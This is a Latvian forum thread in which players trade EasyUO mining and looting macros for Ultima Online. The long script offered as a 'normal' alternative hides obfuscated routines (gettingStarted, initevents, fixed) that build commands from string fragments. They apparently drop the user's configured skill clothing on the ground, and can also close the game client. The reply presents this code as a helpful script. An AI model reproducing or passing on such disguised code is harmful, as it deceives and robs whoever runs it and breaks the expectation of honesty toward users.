17 replies to this topic

[bass]

Eu kr4 man ir mining scp bet kad iznak tas m,onstrs es vinju kill bet nenluutoju kads var uztaisiit scp kuru varu ielikt mining scp un vinjs loot naudu kastiites un skill item ja monstrs izmet .. ^^


Jau iesprieks liels PALDIES!!!

[ExTjUtY]

Search nisudba lietot??tadu skriptu ir pilns forums!

[bass]

Search nisudba lietot??tadu skriptu ir pilns forums!

Man nevaig scp man vaig pashu loot kuru varu ielikt sava mining scp ...

[ExTjUtY]

nu atrodi skriptu kur it ar loot nokope un ieliec!

[bass]

nu atrodi skriptu kur it ar loot nokope un ieliec!

Es nez ka tas loot izkatas vari man iemest te ? please ...

[bass]

Es nez ka tas loot izkatas vari man iemest te ? please ...

Ludzu ja tu to izdariisi bushu loti pateiciigs !!!

[ExTjUtY]

sub loot

set %lootTime #scnt + 20

finditem YFM G_4

if #findcnt >= 1

{

set #lobjectid #findid

set %body #findid

event macro 17 0

while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt

wait 1

wait 10

repeat

{

finditem %loot C_ , %body

if #findcnt = 0 || #scnt > %lootTime

{

ignoreitem %body 2

return

}

exevent drag #findid #findstack

exevent dropc #backpackid

wait 40

}

until #false

}

return

[bass]

sub loot

set %lootTime #scnt + 20

finditem YFM G_4

if #findcnt >= 1

{

set #lobjectid #findid

set %body #findid

event macro 17 0

while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt

wait 1

wait 10

repeat

{

finditem %loot C_ , %body

if #findcnt = 0 || #scnt > %lootTime

{

ignoreitem %body 2

return

}

exevent drag #findid #findstack

exevent dropc #backpackid

wait 40

}

until #false

}

return

LIELS PALDIES!!!!

[bass]

A man vinjs neluutot moska pasaki savu skype nick atsutiishu to scp un tu man ieliec pareizaja vieta

[bass]

A man vinjs neluutot moska pasaki savu skype nick atsutiishu to scp un tu man ieliec pareizaja vieta

Kr4 reku tas scp >>



;==================================
; Version: 1.0
; Client Tested with: 2.0.3
; EUO version tested with:
; Shard Old Paradise
; Purpose: Mining
;==================================
//Configuration
//============================================================
Set %HomePosX 1818 // Position in the world next to the container
Set %HomePosY 856 // Position Y in the world next to the containe
Set %AxeType NPF // Item Type of Pickaxe
Set %Save 30s // World Save (30s is just a tip)
Set %Res 1 // 1 - For 800x600, 0 - For 640x400
Set %weight 1200 // Set the max weight...
SET %Ore DWJ_POF
Set %Safe ZCWXJMD


Goto Inicio
Locations:
If %Spot = 1
Move 1800 1032 a // Location 1
If %Spot = 2
Move 1805 1027 a // Location 2
If %Spot = 3
Move 1808 1032 a // Location 3
If %Spot = 4
Move 1811 1027 a // Location 4
If %Spot = 5
Move 1814 1030 a // Location 5
If %Spot = 6
Move 1819 1030 a // Location 6


Goto Mining

//Way to the mine (If youre using runebook dont change)
Sub Pathway
Move 1833 1063 a
Move 1833 1067 a
Move 1829 1067 a
Move 1829 1030 a
Move 1804 1030 a
Return

//Way to the house (If youre using runebook dont change)
Sub Pathway2
Move 1808 1029 a
Move 1831 1029 a
Move 1831 1069 a
Move 1833 1063 a
Return


//============================================================
//DO NOT CHANGE ANYTHING NOW!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
//============================================================


//Variables Reset
//------------------------------------------------------------
Inicio:
INITEVENTS
Event Izpis bobi tad tik saac kapaat (Kiss) SANJEM ZARAZA !
wait 1s
SetUoTitle crafted by goofy
Display Go Go Go
Set %Spot 1
GoSub Pathway
Goto Locations


//------------------------------------------------------------
Mining:
If #WEIGHT > %weight
goto bank
DeleteJournal
FindItem %AxeType
Set #LObjectID #FindID
Set #LTargetX #CharPosX + %AddX
Set #LTargetY #CharPosY + %AddY
Set #LTargetZ #CharPosZ
Set #LTargetKind 3
Set #TargCurs 0
Event Macro 17
Target 7s
Event Macro 22
GoSub Count
Set %TimeOut #SCNT + 25
Set #TargCurs 0
Goto Scan


//------------------------------------------------------------
Scan:
ScanJournal 1

if #hits < 340
msg .arm $
if #hits < -9
msg .camp $

If there_is_nothing in #journal
Goto NextTarget
If cannot in #journal
Goto NextTarget
If you_cant_mine in #journal
Goto NextTarget
If world_save in #Journal
Goto Save
If You_find_nothing_useful in #Journal
Goto Mining
If Try_mining_elsewhere in #Journal
Goto NextTarget
If that_is_too_far_away in #journal
goto nexttarget


ScanJournal 2
If targeting in #Journal
Goto Mining
If %TimeOut < #SCNT
Goto Mining
Goto Scan

//------------------------------------------------------------
Bank:

GoSub Pathway2
GoSub MoveHome
Goto Unload


//------------------------------------------------------------
Unload:

finditem %Ore C_ , #BackpackID
for #findindex 1 #findcnt
{
exevent drag #findid #findstack
wait 5
exevent dropc %Safe
wait 16
}

//------------------------------------------------------------
Back:
GoSub Pathway
Goto Locations


//------------------------------------------------------------
NextTarget:

Set %AddX %AddX + 1
If %AddX > 2
{
Set %AddX -2
Set %AddY %AddY - 1
If %AddY < -2
Goto Change
}
Set %ClickTarget %ClickTarget + 1
Goto Mining

//------------------------------------------------------------

Change:
Set %ClickTarget 1
Set %AddX -2
Set %AddY +2
Set %Spot %Spot + 1
If %Spot = 6
Set %Spot 1
Goto Locations

//------------------------------------------------------------
Save:
Wait %Save
Goto Mining

//---------------------------------------
sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait 40
}
until #false
}
return

[ExTjUtY]

mdaa nu i tev skripts!pamekle foruma normalu skriptu nejau wito parodiju!

[bass]

mdaa nu i tev skripts!pamekle foruma normalu skriptu nejau wito parodiju!

Bet vinjs vismaz uzvelk ieroci kad iznak monstrs un norm aiznes uz maju ores

[ExTjUtY]

nu ja tev ta patik kapa talak ar vinu!ir scripti kur vinsh pats paed,loot botu,aiznes ores,izmet nevajadzigas ores,un ja vajag pat ar runabook lido un tracking taisa!

[bass]

nu ja tev ta patik kapa talak ar vinu!ir scripti kur vinsh pats paed,loot botu,aiznes ores,izmet nevajadzigas ores,un ja vajag pat ar runabook lido un tracking taisa!

Iedo Link ja vari ^^

[ExTjUtY]

; Set Up The Following Variables:

set %maxWeight 500		 ; Max svars

set %box JNWOLMD		   ; Kastes ID, kur likt ruudu u.c. itemus

set %xCoord 332		   ; X koordinaata tieshi pie kastes

set %yCoord 3253 1		   ; Y koordinaata tieshi pie kastes

set %dropMarganece #true   ; #true - nomet Marganece ruudu , #false - nenomet

set %skillItemChange #false ; #true - mainiis dreebes, #false - nemainiis

set %recall #false		  ; #true - lidos ar runebook, #false - skries taapat

; Do Not Set These Items If %skillItemChange #false

set %skillRobe KIOSJMD	 ; Skill Roba (ID)

set %skillCloak TCNSJMD	; Skill Cloack (ID)

set %skillMask YSNSJMD	 ; Skill Mask (ID)

set %simpleRobe UTRVLMD	; Parasta Roba (ID)

set %simpleCloak VARVLMD   ; Parastais cloack (ID)

set %simpleMask OSH		; Platemail helms (TYPE/ID)

; End Of Changable Clothes List

; Do Not Set These Numbers If %recall #false

set %runebookID COGKKMD	 ; Runebooka ID

set %runeNumberToHome 1	 ; Runas Nr uz maaju

set %runeNumberToCave 2	; Runas Nr uz alu

set %amountRecalls 2	   ; cik recall panjemt, kad vinji beigushies

; End Of Set Up Part



set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH

set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL



if %recall

{

gosub Instalyze runeNumberToHome 1

gosub Instalyze runeNumberToCave 2

}

finditem QRM_FJM_GKM C_ , #backpackid

if #findcnt <> 0

{

set #lobjectid #findid

event macro 17 0

wait 30

}

set %skill %skillRobe , _ , %skillCloak , _ , %skillMask

gosub gettingStarted

gosub initevents

set %k 0

set %lastK 0



start:   ; KOORDINAATES



GOSUB MINING xxx xxx xxx x





goto start



sub mining

set %k %k + 1

gosub ghost

gosub checkHP

gosub element

gosub checkWeight

move %1 %2 1

finditem NPF_QPF C

if #findcnt = 0

 {

  display ok Pickaxe wasn't found!

  pause

 }

set #lobjectid #findid

event macro 17 0

target 7s

set #ltargetx %1

set #ltargety %2

set #ltargetkind 3

set #ltargettile %3

event macro 22 0

wait 10

set %overtime #scnt + 25

gosub scan

return



sub checkWeight

if #weight > %maxWeight

{

if ! %dropMarganece

 {

 if %recall

 gosub port

 if ! %recall

 gosub moveItems

 }

if %dropMarganece

 {

 gosub dropMarganece

 return

 }

}

if %afk <> true || %else <> IJG

gosub ghost 1

return



sub scan

scan:

scanjournal

gosub checkHP

if hungry in #sysmsg

 {

 gosub eat

 return

 }

if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) )

return

if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) )

return

%get fixed

if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg )

+ || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) )

return

gosub element

gosub checkHP

if #scnt >= %overtime

return

goto scan

return



sub port

msg .arm$

gosub checkHP

set %k %k + 1

gosub element

if G in #charstatus

event macro 6 0

event macro 6 0

set %oldPosX #charposx

set %oldPosY #charposy

gosub openRunebook

repeat

{

click %x1 %y1

wait 10

}

until #contname <> generic_gump && #contsize <> 577_426

event macro 13 21

if %skillItemChange

gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

while #charposx = %oldPosX && #charposy = %oldPosY

wait 10

gosub moveItems

gosub back

return



sub moveItems

ignoreitem reset 1

ignoreitem %skill 1

gosub runToBox

event macro 13 21

finditem %box G_3

wait 10

if #findcnt = 0

 {

  event Sysmessage Box Not Found!

  halt

 }

repeat

{

finditem %item c_ , #backpackid

if #findcnt <> 0

 {

 exevent Drag #Findid #findstack

 exevent Dropc %box

 wait 25

 }

}

until #findcnt = 0

ignoreitem reset 1

if %recall

gosub recalls

return



sub back

gosub checkHP

set %oldPosX #charposx

set %oldPosY #charposy

for %i 1 2

 {

 gosub openRunebook

 click 261 215	; Recharge runebook 2x

 wait 10

 }

gosub openRunebook

repeat

{

click %x2 %y2

wait 20

}

until #contname <> generic_gump && #contsize <> 577_426

event macro 13 21

if %skillItemChange

gosub changeClothesTo %skillMask %skillRobe %skillCloak

while #charposx = %oldPosX && #charposy = %oldPosY

wait 10

return



sub runToBox

repeat

 {

 move %xCoord %yCoord 0 3s

 wait 10

 }

until #charposx = %xCoord && #charposy = %yCoord

return



sub follow&kill

msg .arm$

set %charX #charposx

set %charY #charposy

set %charz #charposz

repeat

{

 finditem #enemyid

 event pathfind #FINDX #FINDY #FINDZ 1 3s

 wait 1s

 gosub ghost

}

until #findcnt = 0

wait 20

gosub loot

set %time #scnt + 20

repeat

{

 event pathfind %charX %charY %charz 1 3s

 wait 1s

 gosub ghost

 if #scnt > %time

 return

}

until #charposx = %charX && #charposy = %charY

return



sub checkHP

if #hits < #maxhits

{

msg .arm$

sound

 if %skillItemChange

 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

gosub follow&kill

 if %skillItemChange

 gosub changeClothesTo %skillMask %skillRobe %skillCloak

}

return



sub openRunebook

finditem %runebookID C_ , #backpackid

if #findcnt = 0

 {

  event sysmessage Runebook not found!

  halt

 }

set #lobjectid #findid

event macro 17 0

while #contname <> generic_gump && #contsize <> 577_426

wait 1

return



sub ghost

if #charghost = YES || %0 = 1

{

terminate uo

halt

}

return



sub changeClothesTo

repeat

{

finditem %1 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

finditem %1 C_ , #backpackid

}

until #findcnt = 0

repeat

{

finditem %2 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

finditem %2 C_ , #backpackid

}

until #findcnt = 0

repeat

{

Finditem %3 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

finditem %3 C_ , #backpackid

}

until #findcnt = 0

return



sub fixed

set %k %k + 1

%to %bca %be # . %all

{

repeat

{

set %up # . %cares

%done %start , _ , %else %end , _ , %up

%lastdo %race # . %Wsave

%lastdo %eaea # . %alpha # . %beta # . %gamma

%upgrade 25

%done %start , _ , %else %end , _ , %up

}

until # . %gems = 0

}

return



sub eat

finditem ZBM C

set #lobjectid #findid

event macro 17 0

wait 10

finditem GND C

set #lobjectid #findid

event macro 17 0

wait 10

event macro 17 0

wait 2s

return



sub initevents

set %rescourse finding

str left %rescourse 4

set %save #strres

set %done %save , item

set %iii kill

str left string 1

set %asd #strres , %iii

set %start % . %asd

str left CADY 1

set %end #strres

str left character 4

set %who #strres

set %cares %who , id

str left %do 4

set %lastdo ex , #strres , t

set %race dragrace

str left %race 4

set %race #strres

set %Wsave %save , id

str right skopg 3

set %jasl #strres

str left drive 2

set %eaea #strres , %jasl

str left post 3

set %number %who , #strres

set %alpha %number , x

set %beta %number , y

set %gamma %number , z

set %repsawn waitrespawn

str left %repsawn 4

set %upgrade #strres

str left tilbery 3

set %almost #strres

str left unuquady 2

set %past #strres , %almost

set %gems %save , cnt

set %else IJG

return



sub Instalyze

if % . %1 <= 8

set %x . %2 260

else

set %x . %2 420

if % . %1 = 1 || % . %1 = 9

set %y . %2 260

if % . %1 = 2 || % . %1 = 10

set %y . %2 275

if % . %1 = 3 || % . %1 = 11

set %y . %2 290

if % . %1 = 4 || % . %1 = 12

set %y . %2 305

if % . %1 = 5 || % . %1 = 13

set %y . %2 320

if % . %1 = 6 || % . %1 = 14

set %y . %2 335

if % . %1 = 7 || % . %1 = 15

set %y . %2 350

if % . %1 = 8 || % . %1 = 16

set %y . %2 365

return



sub dropMarganece

dropLoop:

finditem DWJ C_ , #backpackid

if #findcnt = 0

 {

  wait 20

  if #weight >= %maxweight

   {

   if %recall

   gosub port

   if ! %recall

   gosub moveItems

   return

   }

  if #weight < %maxweight

   return

 }

if #findcol = 1750

{

exevent drag #findid #findstack

exevent dropg #charposx #charposy #charposz

wait 25

}

ignoreitem #findid 1

goto dropLoop

return



sub loot

set %lootTime #scnt + 20

finditem YFM G_4

if #findcnt >= 1

{

set #lobjectid #findid

set %body #findid

event macro 17 0

while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt

wait 1

wait 10

repeat

{

finditem %loot C_ , %body

if #findcnt = 0 || #scnt > %lootTime

{

ignoreitem %body 2

return

}

exevent drag #findid #findstack

exevent dropc #backpackid

wait 40

}

until #false

}

return



sub gettingStarted

set %afk true

set %ell qaerty

str left %ell 1

set %abc #strres , #strres , #strres

set %a1 #strres

str left %ell 2

str right #strres 1

set %cba %abc , #strres , %a1

set %bca %cba , #strres

str right %afk 1

set %bca %bca , #strres

set %bra %bca , b

set %n1 nlogif

str right %n1 2

set %to #strres

str left %n1 1

set %be #strres

str right %n1 2

str left #strres 1

set %be #strres , %be

set %tour jour

set %navigate nalliwate

str left %navigate 3

set %all %tour , #strres

set %navigate gost

str left %navigate 3

set %ac #strres

str right pub 2

set %get %ac , #strres

set %do events

str right linit 4

set %toGo #strres , %do

return



sub element

if %lastK >= %k

gosub ghost 1

set %lastK %k

finditem ED G

if #findcnt <> 0

{

msg .arm$

set %charX #charposx

set %charY #charposy

set %charz #charposz

sound

if %skillItemChange

gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

finditem ED G

set %element #findid

msg .arm$

set #ltargetid %element

event macro 27 0

repeat

{

finditem %element

event pathfind #FINDX #FINDY #FINDZ 1 3s

wait 1s

gosub ghost

}

until #findcnt = 0

wait 20

gosub loot

if %skillItemChange

gosub changeClothesTo %skillMask %skillRobe %skillCloak

set %time #scnt + 20

repeat

{

event pathfind %charX %charY %charz 1 3s

wait 1s

gosub ghost

if #scnt > %time

return

}

until #charposx = %charX && #charposy = %charY

}

return



sub recalls

finditem WTL C_ , #backpackid

if #findstack <= 2 || #findcnt = 0

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

wait 20

finditem WTL C_ , %box

exevent drag #findid %amountRecalls

exevent dropc #backpackid

wait 20

}

return

tikai savus id saliec

[bass]

Kr4 kad es ar laileru meiginu koridnates dabuut vinjs visu laiku saka try again ...

[EnFlame]

Kr4 kad es ar laileru meiginu koridnates dabuut vinjs visu laiku saka try again ...

nespied visu laiku vienā vietā

[bass]

nespied visu laiku vienā vietā

Nespiezu ... viena vieta ..